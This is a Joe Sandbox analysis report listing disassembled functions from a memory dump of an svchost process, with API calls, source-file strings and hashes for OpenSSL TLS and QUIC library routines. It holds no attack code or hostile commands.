Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_free$D_run_onceL_sk_findL_sk_pushO_mallocR_set_error
String ID: SSL_COMP_add_compression_method$ssl\ssl_ciph.c
API String ID: 2747923163-4252575135
Opcode ID: 2608b874bdf970e33d35009282d8f2afa5c6041aa4f20bfb7062e935cf2445e9
Instruction ID: 452645875c0202a9629ac95cbab7882ab80a1ea047398d709d04c4ef67a7c292
Opcode Fuzzy Hash: 2608b874bdf970e33d35009282d8f2afa5c6041aa4f20bfb7062e935cf2445e9
Instruction Fuzzy Hash: D431ADA8E5B61341FA669732E8922BD1B54EF44780F44C436ED7D476B6DE2CE9098300

Function 00007FFBAB41D010 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

EVP_PKEY_free.LIBCRYPTO-3-X64(?,00007FFBAB423B73,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB41D04E
X509_free.LIBCRYPTO-3-X64(?,00007FFBAB423B73,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB41D07A
EVP_PKEY_free.LIBCRYPTO-3-X64(?,00007FFBAB423B73,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB41D086
OSSL_STACK_OF_X509_free.LIBCRYPTO-3-X64(?,00007FFBAB423B73,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB41D093
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB423B73,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB41D0AD
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB423B73,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB41D0E2
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB423B73,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB41D0F8
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB423B73,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB41D10E
X509_STORE_free.LIBCRYPTO-3-X64(?,00007FFBAB423B73,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB41D117
X509_STORE_free.LIBCRYPTO-3-X64(?,00007FFBAB423B73,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB41D120
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB423B73,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB41D145
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB423B73,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB41D15B
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB423B73,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB41D170

Strings

ssl\ssl_cert.c, xrefs: 00007FFBAB41D09C, 00007FFBAB41D0D5, 00007FFBAB41D0EB, 00007FFBAB41D101, 00007FFBAB41D138, 00007FFBAB41D14E, 00007FFBAB41D166

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free$E_freeX509_X509_freeY_free
String ID: ssl\ssl_cert.c
API String ID: 1233721043-188639428
Opcode ID: 505530dc6204a26c7951dd06b761be4010829963c1e1916f816e13e1b3343860
Instruction ID: 8d65d528dd1cfa5cd4c5726e778332143abd7980ef730ddab3e6aca73fe00250
Opcode Fuzzy Hash: 505530dc6204a26c7951dd06b761be4010829963c1e1916f816e13e1b3343860
Instruction Fuzzy Hash: 17415EB1B5AA5281EB21DF36D8821BC2724FB85B94F009035DE6D577A6CF3CE565C304

Function 00007FFBAB418C60 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

EVP_PKEY_free.LIBCRYPTO-3-X64(00000000,00007FFBAB414EF8), ref: 00007FFBAB418CA5
EVP_PKEY_free.LIBCRYPTO-3-X64(00000000,00007FFBAB414EF8), ref: 00007FFBAB418CBC
CRYPTO_free.LIBCRYPTO-3-X64(00000000,00007FFBAB414EF8), ref: 00007FFBAB418CF8
OPENSSL_sk_pop_free.LIBCRYPTO-3-X64(00000000,00007FFBAB414EF8), ref: 00007FFBAB418D0B
CRYPTO_free.LIBCRYPTO-3-X64(00000000,00007FFBAB414EF8), ref: 00007FFBAB418D24
CRYPTO_clear_free.LIBCRYPTO-3-X64(00000000,00007FFBAB414EF8), ref: 00007FFBAB418D44
CRYPTO_free.LIBCRYPTO-3-X64(00000000,00007FFBAB414EF8), ref: 00007FFBAB418D5D
CRYPTO_free.LIBCRYPTO-3-X64(00000000,00007FFBAB414EF8), ref: 00007FFBAB418D76
CRYPTO_free.LIBCRYPTO-3-X64(00000000,00007FFBAB414EF8), ref: 00007FFBAB418D8F
CRYPTO_free.LIBCRYPTO-3-X64(00000000,00007FFBAB414EF8), ref: 00007FFBAB418DB0
CRYPTO_free.LIBCRYPTO-3-X64(00000000,00007FFBAB414EF8), ref: 00007FFBAB418DC9
CRYPTO_free.LIBCRYPTO-3-X64(00000000,00007FFBAB414EF8), ref: 00007FFBAB418DE2
memset.VCRUNTIME140(00000000,00007FFBAB414EF8), ref: 00007FFBAB418DFE

Strings

ssl\s3_lib.c, xrefs: 00007FFBAB418CEB, 00007FFBAB418D17, 00007FFBAB418D30, 00007FFBAB418D50, 00007FFBAB418D69, 00007FFBAB418D82, 00007FFBAB418DA3, 00007FFBAB418DBC, 00007FFBAB418DD5

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free$Y_free$L_sk_pop_freeO_clear_freememset
String ID: ssl\s3_lib.c
API String ID: 4031674668-3639828702
Opcode ID: 56749a7fe6fc518fbc9008921f35fdd5fde7fc96ec0f361e55d887f79028f0f3
Instruction ID: 6a579c09683262977ecc33634d67b897e9f5814351c74ffb82b062ea257aa641
Opcode Fuzzy Hash: 56749a7fe6fc518fbc9008921f35fdd5fde7fc96ec0f361e55d887f79028f0f3
Instruction Fuzzy Hash: E0415CF1B5A64391EB12EB72D4923BD2310FF95B88F448436DE2D4B2A6CE6DE1048321

Function 00007FFBAB458350 Relevance: 21.4, APIs: 6, Strings: 6, Instructions: 357COMMON

Download Yara Rule

APIs

BIO_ctrl.LIBCRYPTO-3-X64(?,00007FFBAB453552), ref: 00007FFBAB458421
BIO_ctrl.LIBCRYPTO-3-X64(?,00007FFBAB453552), ref: 00007FFBAB458436
BIO_ADDR_family.LIBCRYPTO-3-X64(?,00007FFBAB453552), ref: 00007FFBAB458475
BIO_ctrl.LIBCRYPTO-3-X64(?,00007FFBAB453552), ref: 00007FFBAB45848F
BIO_ADDR_clear.LIBCRYPTO-3-X64(?,00007FFBAB453552), ref: 00007FFBAB45849F
BIO_ADDR_family.LIBCRYPTO-3-X64(?,00007FFBAB453552), ref: 00007FFBAB4584CD

Part of subcall function 00007FFBAB458FD0: ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB45903D
Part of subcall function 00007FFBAB458FD0: ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB45904A
Part of subcall function 00007FFBAB458FD0: ERR_vset_error.LIBCRYPTO-3-X64 ref: 00007FFBAB459062

Strings

failed to start assist thread, xrefs: 00007FFBAB4585F8
ssl\quic\quic_impl.c, xrefs: 00007FFBAB4583CB, 00007FFBAB4584F4, 00007FFBAB458599, 00007FFBAB458611, 00007FFBAB458656, 00007FFBAB4586E3, 00007FFBAB4587B7, 00007FFBAB4588EC, 00007FFBAB45892E
failed to start channel, xrefs: 00007FFBAB458580
failed to configure channel, xrefs: 00007FFBAB45863D
quic_do_handshake, xrefs: 00007FFBAB4583B6, 00007FFBAB4584DF, 00007FFBAB4586DC, 00007FFBAB4587A2, 00007FFBAB4588D7, 00007FFBAB458919
ensure_channel_started, xrefs: 00007FFBAB458592, 00007FFBAB45860A, 00007FFBAB45864F

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_ctrl$R_family$R_clearR_newR_set_debugR_vset_error
String ID: ensure_channel_started$failed to configure channel$failed to start assist thread$failed to start channel$quic_do_handshake$ssl\quic\quic_impl.c
API String ID: 3860484807-2058648542
Opcode ID: 709b0479125af6ee5ac48bb5abcca979a97a6efaebdf1b3626366b99a557ea16
Instruction ID: 1ada45673fe06c8e28ab951a3afc8be45f3c98d30a02b5e4faf3e438232088d8
Opcode Fuzzy Hash: 709b0479125af6ee5ac48bb5abcca979a97a6efaebdf1b3626366b99a557ea16
Instruction Fuzzy Hash: E7F190B2A0AA4282FB61DB39E8407A96760FB84794F448231EF6C476E5DF7CE955C700

Function 00007FFBAB476A60 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB476A94
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB476AAC

Part of subcall function 00007FFBAB477530: ERR_vset_error.LIBCRYPTO-3-X64(?,?,00007FFBAB473310,?,00007FFBAB472C46), ref: 00007FFBAB47755E

SetLastError.KERNEL32 ref: 00007FFBAB476B58
BIO_write.LIBCRYPTO-3-X64 ref: 00007FFBAB476B9C
BIO_test_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB476BBA

Strings

tls_write_records, xrefs: 00007FFBAB476A99
ssl\record\methods\tls_common.c, xrefs: 00007FFBAB476AA5, 00007FFBAB476C6A, 00007FFBAB476CDF
tls_retry_write_records, xrefs: 00007FFBAB476C5E

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: ErrorLastO_test_flagsO_writeR_newR_set_debugR_vset_error
String ID: ssl\record\methods\tls_common.c$tls_retry_write_records$tls_write_records
API String ID: 1843479370-2458201149
Opcode ID: ede5e3c6ce354c2f49d1748be68e7db66be4a252287604ea360b831add1b72e9
Instruction ID: aabe523c6a4e6d5606578b04a507db8ac05573ca66f7d47791d32c8641fedbd6
Opcode Fuzzy Hash: ede5e3c6ce354c2f49d1748be68e7db66be4a252287604ea360b831add1b72e9
Instruction Fuzzy Hash: 67719DA2A0AA4286F7669B35D5853BC33A6FB44B84F148531CF2D43BA5DF39E4A5C340

Function 00007FFBAB498FD0 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 152COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49903C
CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB49905E
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB499076
RAND_bytes_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB499099
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB499115
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4991C7
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB499212
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49922A

Strings

, xrefs: 00007FFBAB499047
tls_construct_certificate_request, xrefs: 00007FFBAB49921C
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB49902F, 00007FFBAB499052, 00007FFBAB499223

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_new$D_bytes_exO_freeO_mallocR_set_debug
String ID: $ssl\statem\statem_srvr.c$tls_construct_certificate_request
API String ID: 2305228085-806604038
Opcode ID: bb80a541e2be7fc510b037927f3aa9222f1d912873188c196b9917cbd6a94ab0
Instruction ID: 69bb2117957b9cdb534108c89248176be744e720727e5184c38f4f4656d87935
Opcode Fuzzy Hash: bb80a541e2be7fc510b037927f3aa9222f1d912873188c196b9917cbd6a94ab0
Instruction Fuzzy Hash: D35185A1B0A28341FB629B72D9967BD6391AF45BC8F04C431DE2D4B7E6DF2DE4418311

Function 00007FFBAB4727B0 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 361COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAB479620: CRYPTO_malloc.LIBCRYPTO-3-X64(00000000,00007FFBAB472BE0), ref: 00007FFBAB4796BE
Part of subcall function 00007FFBAB479620: ERR_new.LIBCRYPTO-3-X64(00000000,00007FFBAB472BE0), ref: 00007FFBAB4796CD
Part of subcall function 00007FFBAB479620: ERR_set_debug.LIBCRYPTO-3-X64(00000000,00007FFBAB472BE0), ref: 00007FFBAB4796E5

CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB472B0A
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB472C09
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB472C1E
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB472C88
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB472C9D
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB472CC4
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB472CD1
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB472CE9

Part of subcall function 00007FFBAB4776D0: CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB472D48), ref: 00007FFBAB4776F0

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB472DCF

Strings

ssl\record\methods\dtls_meth.c, xrefs: 00007FFBAB472AFE, 00007FFBAB472BFC, 00007FFBAB472C14, 00007FFBAB472C7B, 00007FFBAB472C93, 00007FFBAB472CBA, 00007FFBAB472CE2, 00007FFBAB472DBD
dtls_rlayer_buffer_record, xrefs: 00007FFBAB472CD6

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free$O_mallocR_newR_set_debug
String ID: dtls_rlayer_buffer_record$ssl\record\methods\dtls_meth.c
API String ID: 681801835-4006006387
Opcode ID: c0be3d0c48b42ea7a3bf253bd351074edd90b1d770ed0058c570f0b1e35f4c5e
Instruction ID: 24c2c957b4777eb4308392fc44e40120b11089e6fa2ad0f9598558bbf107f614
Opcode Fuzzy Hash: c0be3d0c48b42ea7a3bf253bd351074edd90b1d770ed0058c570f0b1e35f4c5e
Instruction Fuzzy Hash: 700280B2A09B8282E722DF35E5446B933A4FB55788F05D235DEAC47AA5DF38E1D4D300

Function 00007FFBAB42E220 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB42E2AD
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB42E2E4
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB42E2FC
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB42E30D
BUF_MEM_free.LIBCRYPTO-3-X64 ref: 00007FFBAB42E349
EVP_MD_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB42E37C
X509_free.LIBCRYPTO-3-X64 ref: 00007FFBAB42E39A
X509_VERIFY_PARAM_move_peername.LIBCRYPTO-3-X64 ref: 00007FFBAB42E3B6
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB42E3CF

Strings

ossl_ssl_connection_reset, xrefs: 00007FFBAB42E2E9
ssl\ssl_lib.c, xrefs: 00007FFBAB42E299, 00007FFBAB42E2F5, 00007FFBAB42E3C2

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free$M_freeM_move_peernameR_newR_set_debugR_set_errorX509_X509_freeX_free
String ID: ossl_ssl_connection_reset$ssl\ssl_lib.c
API String ID: 1979470287-3605862542
Opcode ID: a0e50fe9858149fb5504f71899189a664d0a7bb69c524f79330ce00391df7f72
Instruction ID: 6f033dab08a8d39f5eb4cf4615bd6de32a351b8220ba6308c8a33c7642d4f009
Opcode Fuzzy Hash: a0e50fe9858149fb5504f71899189a664d0a7bb69c524f79330ce00391df7f72
Instruction Fuzzy Hash: 5D5173B2A4678281E751DF36D4812BD73A8FB84B98F08813ADE6D4B7A9DF38D4418711

Function 00007FFBAB4849C0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 111COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB484AAF
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB484AD3
CRYPTO_memdup.LIBCRYPTO-3-X64 ref: 00007FFBAB484AF9
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB484B0F
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB484B27

Strings

C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\include\internal/packet.h, xrefs: 00007FFBAB484AB6, 00007FFBAB484ADF
tls_parse_ctos_alpn, xrefs: 00007FFBAB484B14, 00007FFBAB484B6B
ssl\statem\extensions_srvr.c, xrefs: 00007FFBAB484A9D, 00007FFBAB484B20, 00007FFBAB484B72

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free$O_memdupR_newR_set_debug
String ID: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\include\internal/packet.h$ssl\statem\extensions_srvr.c$tls_parse_ctos_alpn
API String ID: 779157885-3465918099
Opcode ID: 3eac08784322b4d9d4b7decba0d182fbbab740dc8df8de132ad9510753ac3106
Instruction ID: 2d1974a4e1efcca7f0e479c3c38d1749b8530119d868283fd856627f886b11f9
Opcode Fuzzy Hash: 3eac08784322b4d9d4b7decba0d182fbbab740dc8df8de132ad9510753ac3106
Instruction Fuzzy Hash: 0B41C4F1A0ABC181EB228BB5E4513B963A1EF45784F048535DFAC17AB6DF3CE1918704

Function 00007FFBAB480340 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4803BC
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4803D4
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB480403
CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB480418
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB480430
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB480448
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB480484
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48049C

Strings

ssl\statem\extensions_clnt.c, xrefs: 00007FFBAB4803CD, 00007FFBAB4803EF, 00007FFBAB48040E, 00007FFBAB480441, 00007FFBAB480495
tls_parse_stoc_ec_pt_formats, xrefs: 00007FFBAB4803C1, 00007FFBAB480435, 00007FFBAB480489

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_freeO_malloc
String ID: ssl\statem\extensions_clnt.c$tls_parse_stoc_ec_pt_formats
API String ID: 3068916411-1105300127
Opcode ID: d20b543ee3beebe62d088556f6f6e37ec077b4b20800f490c5f8ce5d9407d9a8
Instruction ID: 0e9b8f81679dd6c0a871b85f899833d6313aecfcedb8024d4a7d92a49d18f82b
Opcode Fuzzy Hash: d20b543ee3beebe62d088556f6f6e37ec077b4b20800f490c5f8ce5d9407d9a8
Instruction Fuzzy Hash: FE31E4A1A5EB9281F622DB71E8417FD6760EB44788F40C131DEAC477A6DF3CE2958700

Function 00007FFBAB444330 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB44437B
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB444394
BN_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4443A0
BN_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4443AC
BN_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4443B8
BN_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4443C4
BN_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4443D0
BN_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4443DC
BN_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4443E8
BN_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4443F4

Strings

ssl\tls_srp.c, xrefs: 00007FFBAB44436E, 00007FFBAB444387

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: N_free$O_free
String ID: ssl\tls_srp.c
API String ID: 3506937590-1545769946
Opcode ID: a0aa9d723761bc43066e25d67ce36c56aafca2db69a64f76014dba336a3dd019
Instruction ID: 15074d5d2aa31d9a1763fdf58db1893e945ece215511c581cc99887977cab251
Opcode Fuzzy Hash: a0aa9d723761bc43066e25d67ce36c56aafca2db69a64f76014dba336a3dd019
Instruction Fuzzy Hash: A721DDA2E55A8281EB61EF71C8A13FC3350EB95B4CF199131DE1D4B16ADF28D5D68310

Function 00007FFBAB45E960 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 291COMMON

Download Yara Rule

APIs

BIO_ADDR_family.LIBCRYPTO-3-X64(?,?,?,00000000,00000000,?,00000001,00007FFBAB469F8F,00000000,?,?,00000004,?,?,00007FFBAB467BE8), ref: 00007FFBAB45EA33
BIO_ADDR_family.LIBCRYPTO-3-X64(?,?,?,00000000,00000000,?,00000001,00007FFBAB469F8F,00000000,?,?,00000004,?,?,00007FFBAB467BE8), ref: 00007FFBAB45EA44
memcmp.VCRUNTIME140(?,?,?,00000000,00000000,?,00000001,00007FFBAB469F8F,00000000,?,?,00000004,?,?,00007FFBAB467BE8), ref: 00007FFBAB45EA63
BIO_ADDR_family.LIBCRYPTO-3-X64(?,?,?,00000000,00000000,?,00000001,00007FFBAB469F8F,00000000,?,?,00000004,?,?,00007FFBAB467BE8), ref: 00007FFBAB45EA80
BIO_ADDR_family.LIBCRYPTO-3-X64(?,?,?,00000000,00000000,?,00000001,00007FFBAB469F8F,00000000,?,?,00000004,?,?,00007FFBAB467BE8), ref: 00007FFBAB45EA91
memcmp.VCRUNTIME140(?,?,?,00000000,00000000,?,00000001,00007FFBAB469F8F,00000000,?,?,00000004,?,?,00007FFBAB467BE8), ref: 00007FFBAB45EAB0
CRYPTO_malloc.LIBCRYPTO-3-X64(?,?,?,00000000,00000000,?,00000001,00007FFBAB469F8F,00000000,?,?,00000004,?,?,00007FFBAB467BE8), ref: 00007FFBAB45EB0E
BIO_ADDR_clear.LIBCRYPTO-3-X64 ref: 00007FFBAB45EC1E
BIO_ADDR_clear.LIBCRYPTO-3-X64 ref: 00007FFBAB45EC48

Strings

ssl\quic\quic_record_tx.c, xrefs: 00007FFBAB45EB07

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

